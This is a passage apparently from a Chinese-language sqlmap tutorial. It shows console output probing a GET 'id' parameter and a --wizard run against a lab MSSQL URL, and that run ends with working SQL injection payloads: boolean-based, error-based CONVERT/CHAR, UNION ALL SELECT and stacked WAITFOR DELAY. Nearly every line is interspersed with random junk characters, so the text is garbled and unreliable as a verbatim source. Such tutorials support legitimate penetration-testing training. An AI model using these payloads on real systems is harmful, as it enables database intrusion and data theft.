heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y8 p9 H: o( ^7 _' C' Y! D
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y 9 X# i9 _8 y) A" J% {! t/ T; w[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' ' k; _1 Y9 O3 l, K5 l+ ^' V3 m[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable ; I9 B% e6 c! s9 F D; {7 J[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'; Y/ w. n6 T' y
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable + c: U; g& }* }* \6 |+ c( V
[xx:xx:14] [INFO] testing 'MySQL inline queries') R" h4 w. g7 d
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' 4 P4 j) ^" K$ A, S+ n) U; X }, n[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'- ~& ]2 C5 V' X: f
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'% e7 m5 Z. q2 u8 A) H3 X: ~ c6 K
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 4 s4 q, d, O s7 g3 e5 C[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'- }. N3 `5 ?% r
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found. z P- Y1 K- T2 O- K! i
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test : i0 }' n- x$ S3 P+ {" ]+ F[xx:xx:24] [INFO] target URL appears to have 3 columns in query0 g$ h) T0 A D; ~" v8 E
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable" q& j, @! E8 c! r3 ?) {
[...]- C2 v* s0 J# {6 C$ W; c7 q
) N; j( b8 Z# n初级用户向导参数$ b6 m+ z% Y1 G/ f) `8 B
" w/ t( ]! w8 h$ B# p) f
参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。% j0 E2 V1 i* ~0 ^& Z4 x; M
( d1 v" j6 |, p1 S; }( r: H
$ python sqlmap.py --wizard n' Y# k$ C7 M9 B. Q0 Q1 `8 ?; G/ k) e6 ~
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool( m$ p. M6 r. o3 V
/ b/ \* |! A/ X/ V1 m. l9 P
http://sqlmap.org# @4 Y! U8 D5 r( e/ O6 V$ T
" r3 s) R+ s6 H/ y* t
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program- q$ F! e. X# W2 I6 B' O4 j
starting at 11:25:26 / u! ^5 O- P" \' U4 `8 V9 f 2 L2 q" x8 i) i2 W. I9 xPlease enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 ! B1 c7 M8 i; d! C- [4 D( x# iPOST data (--data) [Enter for None]: 1 H( j; z% v: nInjection difficulty (--level/--risk). Please choose: 2 R0 G7 f4 v/ J) H7 f* E[1] Normal (default)1 m' T/ ?, f1 _4 s! q" L5 E* e2 X( G
[2] Medium6 P3 L1 E( J& Z4 p* b2 c
[3] Hard ( d6 ]5 w& G$ N# C7 ]# v% j> 18 P0 y& T$ I p( k. K0 y5 u+ c: Y
Enumeration (--banner/--current-user/etc). Please choose: ; E# K/ Y7 Y% Q+ B- U+ q4 ^! i[1] Basic (default)6 |& L1 L( d$ k2 p
[2] Smart2 `1 A4 n0 B. v1 D( ]0 N9 R
[3] All: _6 E9 Y! j9 Y. o2 u, f. p( j1 {
> 1" E, C2 a5 ]% i. @ i
% I$ Q3 ], }/ n- ?8 [ w' m4 D2 W- lsqlmap is running, please wait.. 9 Y- ~- \4 J: c- A1 U q, m9 \ A; B% v- J" B2 o
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y" F& A1 A' l: N% e+ v, n
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y 3 Q2 Q L( n' N; ]" U. UGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N* W# @$ k: {5 n7 Y3 M8 |; f
sqlmap identified the following injection points with a total of 25 HTTP(s) requests: " v i7 p8 B" d0 I% R---' [/ b4 c5 H# G- x k) R) o
Place: GET , _* {2 K7 x9 Z8 ^4 {Parameter: id % \& [4 t( {+ s6 g# f6 Z- c Type: boolean-based blind " A8 p. e, L" i0 \* s Title: AND boolean-based blind - WHERE or HAVING clause$ n0 O9 D4 ^4 q' p5 z' c6 |3 |
Payload: id=1 AND 2986=2986 " M8 { X- g* W$ V ; A0 u& C Z0 d4 ^ Type: error-based8 ? l, E) X9 z- I8 u7 a# L$ B |, s+ v
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause( g! ~/ u0 S7 }- w3 j
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))2 A8 A+ C7 I8 j, g- s+ [
( D3 N. E) A1 k( N( L# i( Z/ T Type: UNION query % q% K- L0 _' c# | Title: Generic UNION query (NULL) - 3 columns' E3 o8 j' P( r4 R. i
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- 9 B/ c$ z8 r( _; e& u5 a 9 Q: \4 C& o6 R4 J Type: stacked queries) k% E; P+ ?/ O: o3 W
Title: Microsoft SQL Server/Sybase stacked queries / R7 c1 l' P- ` Payload: id=1; WAITFOR DELAY '0:0:5'--: r+ R; u8 P. G3 T